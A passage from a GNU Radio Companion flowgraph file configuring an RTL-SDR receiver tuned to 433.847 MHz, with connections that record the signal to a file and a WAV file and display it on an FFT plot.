0 277 | 278 | 279 | freq0 280 | 433.847e6 281 | 282 | 283 | gain_mode0 284 | False 285 | 286 | 287 | if_gain0 288 | 20 289 | 290 | 291 | iq_balance_mode0 292 | 0 293 | 294 | 295 | gain0 296 | 5 297 | 298 | 299 | ant10 300 | 301 | 302 | 303 | bb_gain10 304 | 20 305 | 306 | 307 | bw10 308 | 0 309 | 310 | 311 | dc_offset_mode10 312 | 0 313 | 314 | 315 | corr10 316 | 0 317 | 318 | 319 | freq10 320 | 100e6 321 | 322 | 323 | gain_mode10 324 | False 325 | 326 | 327 | if_gain10 328 | 20 329 | 330 | 331 | iq_balance_mode10 332 | 0 333 | 334 | 335 | gain10 336 | 10 337 | 338 | 339 | ant11 340 | 341 | 342 | 343 | bb_gain11 344 | 20 345 | 346 | 347 | bw11 348 | 0 349 | 350 | 351 | dc_offset_mode11 352 | 0 353 | 354 | 355 | corr11 356 | 0 357 | 358 | 359 | freq11 360 | 100e6 361 | 362 | 363 | gain_mode11 364 | False 365 | 366 | 367 | if_gain11 368 | 20 369 | 370 | 371 | iq_balance_mode11 372 | 0 373 | 374 | 375 | gain11 376 | 10 377 | 378 | 379 | ant12 380 | 381 | 382 | 383 | bb_gain12 384 | 20 385 | 386 | 387 | bw12 388 | 0 389 | 390 | 391 | dc_offset_mode12 392 | 0 393 | 394 | 395 | corr12 396 | 0 397 | 398 | 399 | freq12 400 | 100e6 401 | 402 | 403 | gain_mode12 404 | False 405 | 406 | 407 | if_gain12 408 | 20 409 | 410 | 411 | iq_balance_mode12 412 | 0 413 | 414 | 415 | gain12 416 | 10 417 | 418 | 419 | ant13 420 | 421 | 422 | 423 | bb_gain13 424 | 20 425 | 426 | 427 | bw13 428 | 0 429 | 430 | 431 | dc_offset_mode13 432 | 0 433 | 434 | 435 | corr13 436 | 0 437 | 438 | 439 | freq13 440 | 100e6 441 | 442 | 443 | gain_mode13 444 | False 445 | 446 | 447 | if_gain13 448 | 20 449 | 450 | 451 | iq_balance_mode13 452 | 0 453 | 454 | 455 | gain13 456 | 10 457 | 458 | 459 | ant14 460 | 461 | 462 | 463 | bb_gain14 464 | 20 465 | 466 | 467 | bw14 468 | 0 469 | 470 | 471 | dc_offset_mode14 472 | 0 473 | 474 | 475 | corr14 476 | 0 477 | 478 | 479 | freq14 480 | 100e6 481 | 482 | 483 | gain_mode14 484 | False 485 | 486 | 487 | if_gain14 488 | 20 489 | 490 | 491 | iq_balance_mode14 492 | 0 493 | 494 | 495 | gain14 496 | 10 497 | 498 | 499 | ant15 500 | 501 | 502 | 503 | bb_gain15 504 | 20 505 | 506 | 507 | bw15 508 | 0 509 | 510 | 511 | dc_offset_mode15 512 | 0 513 | 514 | 515 | corr15 516 | 0 517 | 518 | 519 | freq15 520 | 100e6 521 | 522 | 523 | gain_mode15 524 | False 525 | 526 | 527 | if_gain15 528 | 20 529 | 530 | 531 | iq_balance_mode15 532 | 0 533 | 534 | 535 | gain15 536 | 10 537 | 538 | 539 | ant16 540 | 541 | 542 | 543 | bb_gain16 544 | 20 545 | 546 | 547 | bw16 548 | 0 549 | 550 | 551 | dc_offset_mode16 552 | 0 553 | 554 | 555 | corr16 556 | 0 557 | 558 | 559 | freq16 560 | 100e6 561 | 562 | 563 | gain_mode16 564 | False 565 | 566 | 567 | if_gain16 568 | 20 569 | 570 | 571 | iq_balance_mode16 572 | 0 573 | 574 | 575 | gain16 576 | 10 577 | 578 | 579 | ant17 580 | 581 | 582 | 583 | bb_gain17 584 | 20 585 | 586 | 587 | bw17 588 | 0 589 | 590 | 591 | dc_offset_mode17 592 | 0 593 | 594 | 595 | corr17 596 | 0 597 | 598 | 599 | freq17 600 | 100e6 601 | 602 | 603 | gain_mode17 604 | False 605 | 606 | 607 | if_gain17 608 | 20 609 | 610 | 611 | iq_balance_mode17 612 | 0 613 | 614 | 615 | gain17 616 | 10 617 | 618 | 619 | ant18 620 | 621 | 622 | 623 | bb_gain18 624 | 20 625 | 626 | 627 | bw18 628 | 0 629 | 630 | 631 | dc_offset_mode18 632 | 0 633 | 634 | 635 | corr18 636 | 0 637 | 638 | 639 | freq18 640 | 100e6 641 | 642 | 643 | gain_mode18 644 | False 645 | 646 | 647 | if_gain18 648 | 20 649 | 650 | 651 | iq_balance_mode18 652 | 0 653 | 654 | 655 | gain18 656 | 10 657 | 658 | 659 | ant19 660 | 661 | 662 | 663 | bb_gain19 664 | 20 665 | 666 | 667 | bw19 668 | 0 669 | 670 | 671 | dc_offset_mode19 672 | 0 673 | 674 | 675 | corr19 676 | 0 677 | 678 | 679 | freq19 680 | 100e6 681 | 682 | 683 | gain_mode19 684 | False 685 | 686 | 687 | if_gain19 688 | 20 689 | 690 | 691 | iq_balance_mode19 692 | 0 693 | 694 | 695 | gain19 696 | 10 697 | 698 | 699 | ant1 700 | 701 | 702 | 703 | bb_gain1 704 | 20 705 | 706 | 707 | bw1 708 | 0 709 | 710 | 711 | dc_offset_mode1 712 | 0 713 | 714 | 715 | corr1 716 | 0 717 | 718 | 719 | freq1 720 | 100e6 721 | 722 | 723 | gain_mode1 724 | False 725 | 726 | 727 | if_gain1 728 | 20 729 | 730 | 731 | iq_balance_mode1 732 | 0 733 | 734 | 735 | gain1 736 | 10 737 | 738 | 739 | ant20 740 | 741 | 742 | 743 | bb_gain20 744 | 20 745 | 746 | 747 | bw20 748 | 0 749 | 750 | 751 | dc_offset_mode20 752 | 0 753 | 754 | 755 | corr20 756 | 0 757 | 758 | 759 | freq20 760 | 100e6 761 | 762 | 763 | gain_mode20 764 | False 765 | 766 | 767 | if_gain20 768 | 20 769 | 770 | 771 | iq_balance_mode20 772 | 0 773 | 774 | 775 | gain20 776 | 10 777 | 778 | 779 | ant21 780 | 781 | 782 | 783 | bb_gain21 784 | 20 785 | 786 | 787 | bw21 788 | 0 789 | 790 | 791 | dc_offset_mode21 792 | 0 793 | 794 | 795 | corr21 796 | 0 797 | 798 | 799 | freq21 800 | 100e6 801 | 802 | 803 | gain_mode21 804 | False 805 | 806 | 807 | if_gain21 808 | 20 809 | 810 | 811 | iq_balance_mode21 812 | 0 813 | 814 | 815 | gain21 816 | 10 817 | 818 | 819 | ant22 820 | 821 | 822 | 823 | bb_gain22 824 | 20 825 | 826 | 827 | bw22 828 | 0 829 | 830 | 831 | dc_offset_mode22 832 | 0 833 | 834 | 835 | corr22 836 | 0 837 | 838 | 839 | freq22 840 | 100e6 841 | 842 | 843 | gain_mode22 844 | False 845 | 846 | 847 | if_gain22 848 | 20 849 | 850 | 851 | iq_balance_mode22 852 | 0 853 | 854 | 855 | gain22 856 | 10 857 | 858 | 859 | ant23 860 | 861 | 862 | 863 | bb_gain23 864 | 20 865 | 866 | 867 | bw23 868 | 0 869 | 870 | 871 | dc_offset_mode23 872 | 0 873 | 874 | 875 | corr23 876 | 0 877 | 878 | 879 | freq23 880 | 100e6 881 | 882 | 883 | gain_mode23 884 | False 885 | 886 | 887 | if_gain23 888 | 20 889 | 890 | 891 | iq_balance_mode23 892 | 0 893 | 894 | 895 | gain23 896 | 10 897 | 898 | 899 | ant24 900 | 901 | 902 | 903 | bb_gain24 904 | 20 905 | 906 | 907 | bw24 908 | 0 909 | 910 | 911 | dc_offset_mode24 912 | 0 913 | 914 | 915 | corr24 916 | 0 917 | 918 | 919 | freq24 920 | 100e6 921 | 922 | 923 | gain_mode24 924 | False 925 | 926 | 927 | if_gain24 928 | 20 929 | 930 | 931 | iq_balance_mode24 932 | 0 933 | 934 | 935 | gain24 936 | 10 937 | 938 | 939 | ant25 940 | 941 | 942 | 943 | bb_gain25 944 | 20 945 | 946 | 947 | bw25 948 | 0 949 | 950 | 951 | dc_offset_mode25 952 | 0 953 | 954 | 955 | corr25 956 | 0 957 | 958 | 959 | freq25 960 | 100e6 961 | 962 | 963 | gain_mode25 964 | False 965 | 966 | 967 | if_gain25 968 | 20 969 | 970 | 971 | iq_balance_mode25 972 | 0 973 | 974 | 975 | gain25 976 | 10 977 | 978 | 979 | ant26 980 | 981 | 982 | 983 | bb_gain26 984 | 20 985 | 986 | 987 | bw26 988 | 0 989 | 990 | 991 | dc_offset_mode26 992 | 0 993 | 994 | 995 | corr26 996 | 0 997 | 998 | 999 | freq26 1000 | 100e6 1001 | 1002 | 1003 | gain_mode26 1004 | False 1005 | 1006 | 1007 | if_gain26 1008 | 20 1009 | 1010 | 1011 | iq_balance_mode26 1012 | 0 1013 | 1014 | 1015 | gain26 1016 | 10 1017 | 1018 | 1019 | ant27 1020 | 1021 | 1022 | 1023 | bb_gain27 1024 | 20 1025 | 1026 | 1027 | bw27 1028 | 0 1029 | 1030 | 1031 | dc_offset_mode27 1032 | 0 1033 | 1034 | 1035 | corr27 1036 | 0 1037 | 1038 | 1039 | freq27 1040 | 100e6 1041 | 1042 | 1043 | gain_mode27 1044 | False 1045 | 1046 | 1047 | if_gain27 1048 | 20 1049 | 1050 | 1051 | iq_balance_mode27 1052 | 0 1053 | 1054 | 1055 | gain27 1056 | 10 1057 | 1058 | 1059 | ant28 1060 | 1061 | 1062 | 1063 | bb_gain28 1064 | 20 1065 | 1066 | 1067 | bw28 1068 | 0 1069 | 1070 | 1071 | dc_offset_mode28 1072 | 0 1073 | 1074 | 1075 | corr28 1076 | 0 1077 | 1078 | 1079 | freq28 1080 | 100e6 1081 | 1082 | 1083 | gain_mode28 1084 | False 1085 | 1086 | 1087 | if_gain28 1088 | 20 1089 | 1090 | 1091 | iq_balance_mode28 1092 | 0 1093 | 1094 | 1095 | gain28 1096 | 10 1097 | 1098 | 1099 | ant29 1100 | 1101 | 1102 | 1103 | bb_gain29 1104 | 20 1105 | 1106 | 1107 | bw29 1108 | 0 1109 | 1110 | 1111 | dc_offset_mode29 1112 | 0 1113 | 1114 | 1115 | corr29 1116 | 0 1117 | 1118 | 1119 | freq29 1120 | 100e6 1121 | 1122 | 1123 | gain_mode29 1124 | False 1125 | 1126 | 1127 | if_gain29 1128 | 20 1129 | 1130 | 1131 | iq_balance_mode29 1132 | 0 1133 | 1134 | 1135 | gain29 1136 | 10 1137 | 1138 | 1139 | ant2 1140 | 1141 | 1142 | 1143 | bb_gain2 1144 | 20 1145 | 1146 | 1147 | bw2 1148 | 0 1149 | 1150 | 1151 | dc_offset_mode2 1152 | 0 1153 | 1154 | 1155 | corr2 1156 | 0 1157 | 1158 | 1159 | freq2 1160 | 100e6 1161 | 1162 | 1163 | gain_mode2 1164 | False 1165 | 1166 | 1167 | if_gain2 1168 | 20 1169 | 1170 | 1171 | iq_balance_mode2 1172 | 0 1173 | 1174 | 1175 | gain2 1176 | 10 1177 | 1178 | 1179 | ant30 1180 | 1181 | 1182 | 1183 | bb_gain30 1184 | 20 1185 | 1186 | 1187 | bw30 1188 | 0 1189 | 1190 | 1191 | dc_offset_mode30 1192 | 0 1193 | 1194 | 1195 | corr30 1196 | 0 1197 | 1198 | 1199 | freq30 1200 | 100e6 1201 | 1202 | 1203 | gain_mode30 1204 | False 1205 | 1206 | 1207 | if_gain30 1208 | 20 1209 | 1210 | 1211 | iq_balance_mode30 1212 | 0 1213 | 1214 | 1215 | gain30 1216 | 10 1217 | 1218 | 1219 | ant31 1220 | 1221 | 1222 | 1223 | bb_gain31 1224 | 20 1225 | 1226 | 1227 | bw31 1228 | 0 1229 | 1230 | 1231 | dc_offset_mode31 1232 | 0 1233 | 1234 | 1235 | corr31 1236 | 0 1237 | 1238 | 1239 | freq31 1240 | 100e6 1241 | 1242 | 1243 | gain_mode31 1244 | False 1245 | 1246 | 1247 | if_gain31 1248 | 20 1249 | 1250 | 1251 | iq_balance_mode31 1252 | 0 1253 | 1254 | 1255 | gain31 1256 | 10 1257 | 1258 | 1259 | ant3 1260 | 1261 | 1262 | 1263 | bb_gain3 1264 | 20 1265 | 1266 | 1267 | bw3 1268 | 0 1269 | 1270 | 1271 | dc_offset_mode3 1272 | 0 1273 | 1274 | 1275 | corr3 1276 | 0 1277 | 1278 | 1279 | freq3 1280 | 100e6 1281 | 1282 | 1283 | gain_mode3 1284 | False 1285 | 1286 | 1287 | if_gain3 1288 | 20 1289 | 1290 | 1291 | iq_balance_mode3 1292 | 0 1293 | 1294 | 1295 | gain3 1296 | 10 1297 | 1298 | 1299 | ant4 1300 | 1301 | 1302 | 1303 | bb_gain4 1304 | 20 1305 | 1306 | 1307 | bw4 1308 | 0 1309 | 1310 | 1311 | dc_offset_mode4 1312 | 0 1313 | 1314 | 1315 | corr4 1316 | 0 1317 | 1318 | 1319 | freq4 1320 | 100e6 1321 | 1322 | 1323 | gain_mode4 1324 | False 1325 | 1326 | 1327 | if_gain4 1328 | 20 1329 | 1330 | 1331 | iq_balance_mode4 1332 | 0 1333 | 1334 | 1335 | gain4 1336 | 10 1337 | 1338 | 1339 | ant5 1340 | 1341 | 1342 | 1343 | bb_gain5 1344 | 20 1345 | 1346 | 1347 | bw5 1348 | 0 1349 | 1350 | 1351 | dc_offset_mode5 1352 | 0 1353 | 1354 | 1355 | corr5 1356 | 0 1357 | 1358 | 1359 | freq5 1360 | 100e6 1361 | 1362 | 1363 | gain_mode5 1364 | False 1365 | 1366 | 1367 | if_gain5 1368 | 20 1369 | 1370 | 1371 | iq_balance_mode5 1372 | 0 1373 | 1374 | 1375 | gain5 1376 | 10 1377 | 1378 | 1379 | ant6 1380 | 1381 | 1382 | 1383 | bb_gain6 1384 | 20 1385 | 1386 | 1387 | bw6 1388 | 0 1389 | 1390 | 1391 | dc_offset_mode6 1392 | 0 1393 | 1394 | 1395 | corr6 1396 | 0 1397 | 1398 | 1399 | freq6 1400 | 100e6 1401 | 1402 | 1403 | gain_mode6 1404 | False 1405 | 1406 | 1407 | if_gain6 1408 | 20 1409 | 1410 | 1411 | iq_balance_mode6 1412 | 0 1413 | 1414 | 1415 | gain6 1416 | 10 1417 | 1418 | 1419 | ant7 1420 | 1421 | 1422 | 1423 | bb_gain7 1424 | 20 1425 | 1426 | 1427 | bw7 1428 | 0 1429 | 1430 | 1431 | dc_offset_mode7 1432 | 0 1433 | 1434 | 1435 | corr7 1436 | 0 1437 | 1438 | 1439 | freq7 1440 | 100e6 1441 | 1442 | 1443 | gain_mode7 1444 | False 1445 | 1446 | 1447 | if_gain7 1448 | 20 1449 | 1450 | 1451 | iq_balance_mode7 1452 | 0 1453 | 1454 | 1455 | gain7 1456 | 10 1457 | 1458 | 1459 | ant8 1460 | 1461 | 1462 | 1463 | bb_gain8 1464 | 20 1465 | 1466 | 1467 | bw8 1468 | 0 1469 | 1470 | 1471 | dc_offset_mode8 1472 | 0 1473 | 1474 | 1475 | corr8 1476 | 0 1477 | 1478 | 1479 | freq8 1480 | 100e6 1481 | 1482 | 1483 | gain_mode8 1484 | False 1485 | 1486 | 1487 | if_gain8 1488 | 20 1489 | 1490 | 1491 | iq_balance_mode8 1492 | 0 1493 | 1494 | 1495 | gain8 1496 | 10 1497 | 1498 | 1499 | ant9 1500 | 1501 | 1502 | 1503 | bb_gain9 1504 | 20 1505 | 1506 | 1507 | bw9 1508 | 0 1509 | 1510 | 1511 | dc_offset_mode9 1512 | 0 1513 | 1514 | 1515 | corr9 1516 | 0 1517 | 1518 | 1519 | freq9 1520 | 100e6 1521 | 1522 | 1523 | gain_mode9 1524 | False 1525 | 1526 | 1527 | if_gain9 1528 | 20 1529 | 1530 | 1531 | iq_balance_mode9 1532 | 0 1533 | 1534 | 1535 | gain9 1536 | 10 1537 | 1538 | 1539 | comment 1540 | 1541 | 1542 | 1543 | affinity 1544 | 1545 | 1546 | 1547 | args 1548 | 1549 | 1550 | 1551 | _enabled 1552 | True 1553 | 1554 | 1555 | _coordinate 1556 | (152, 152) 1557 | 1558 | 1559 | _rotation 1560 | 0 1561 | 1562 | 1563 | id 1564 | rtlsdr_source_0 1565 | 1566 | 1567 | maxoutbuf 1568 | 0 1569 | 1570 | 1571 | clock_source0 1572 | 1573 | 1574 | 1575 | time_source0 1576 | 1577 | 1578 | 1579 | clock_source1 1580 | 1581 | 1582 | 1583 | time_source1 1584 | 1585 | 1586 | 1587 | clock_source2 1588 | 1589 | 1590 | 1591 | time_source2 1592 | 1593 | 1594 | 1595 | clock_source3 1596 | 1597 | 1598 | 1599 | time_source3 1600 | 1601 | 1602 | 1603 | clock_source4 1604 | 1605 | 1606 | 1607 | time_source4 1608 | 1609 | 1610 | 1611 | clock_source5 1612 | 1613 | 1614 | 1615 | time_source5 1616 | 1617 | 1618 | 1619 | clock_source6 1620 | 1621 | 1622 | 1623 | time_source6 1624 | 1625 | 1626 | 1627 | clock_source7 1628 | 1629 | 1630 | 1631 | time_source7 1632 | 1633 | 1634 | 1635 | minoutbuf 1636 | 0 1637 | 1638 | 1639 | nchan 1640 | 1 1641 | 1642 | 1643 | num_mboards 1644 | 1 1645 | 1646 | 1647 | type 1648 | fc32 1649 | 1650 | 1651 | sample_rate 1652 | samp_rate 1653 | 1654 | 1655 | sync 1656 | 1657 | 1658 | 1659 | 1660 | wxgui_fftsink2 1661 | 1662 | avg_alpha 1663 | 0 1664 | 1665 | 1666 | average 1667 | False 1668 | 1669 | 1670 | baseband_freq 1671 | 0 1672 | 1673 | 1674 | alias 1675 | 1676 | 1677 | 1678 | comment 1679 | 1680 | 1681 | 1682 | affinity 1683 | 1684 | 1685 | 1686 | _enabled 1687 | 1 1688 | 1689 | 1690 | fft_size 1691 | 1024 1692 | 1693 | 1694 | freqvar 1695 | None 1696 | 1697 | 1698 | _coordinate 1699 | (448, 104) 1700 | 1701 | 1702 | _rotation 1703 | 0 1704 | 1705 | 1706 | grid_pos 1707 | 1708 | 1709 | 1710 | id 1711 | wxgui_fftsink2_0 1712 | 1713 | 1714 | notebook 1715 | 1716 | 1717 | 1718 | peak_hold 1719 | False 1720 | 1721 | 1722 | ref_level 1723 | 0 1724 | 1725 | 1726 | ref_scale 1727 | 2.0 1728 | 1729 | 1730 | fft_rate 1731 | 15 1732 | 1733 | 1734 | samp_rate 1735 | samp_rate 1736 | 1737 | 1738 | title 1739 | FFT Plot 1740 | 1741 | 1742 | type 1743 | complex 1744 | 1745 | 1746 | win_size 1747 | 1748 | 1749 | 1750 | win 1751 | None 1752 | 1753 | 1754 | y_divs 1755 | 10 1756 | 1757 | 1758 | y_per_div 1759 | 10 1760 | 1761 | 1762 | 1763 | blocks_complex_to_mag_squared_0 1764 | blocks_wavfile_sink_0 1765 | 0 1766 | 0 1767 | 1768 | 1769 | rtlsdr_source_0 1770 | blocks_complex_to_mag_squared_0 1771 | 0 1772 | 0 1773 | 1774 | 1775 | rtlsdr_source_0 1776 | blocks_file_sink_0 1777 | 0 1778 | 0 1779 | 1780 | 1781 | rtlsdr_source_0 1782 | wxgui_fftsink2_0 1783 | 0 1784 | 0 1785 | 1786 | 1787 | --------------------------------------------------------------------------------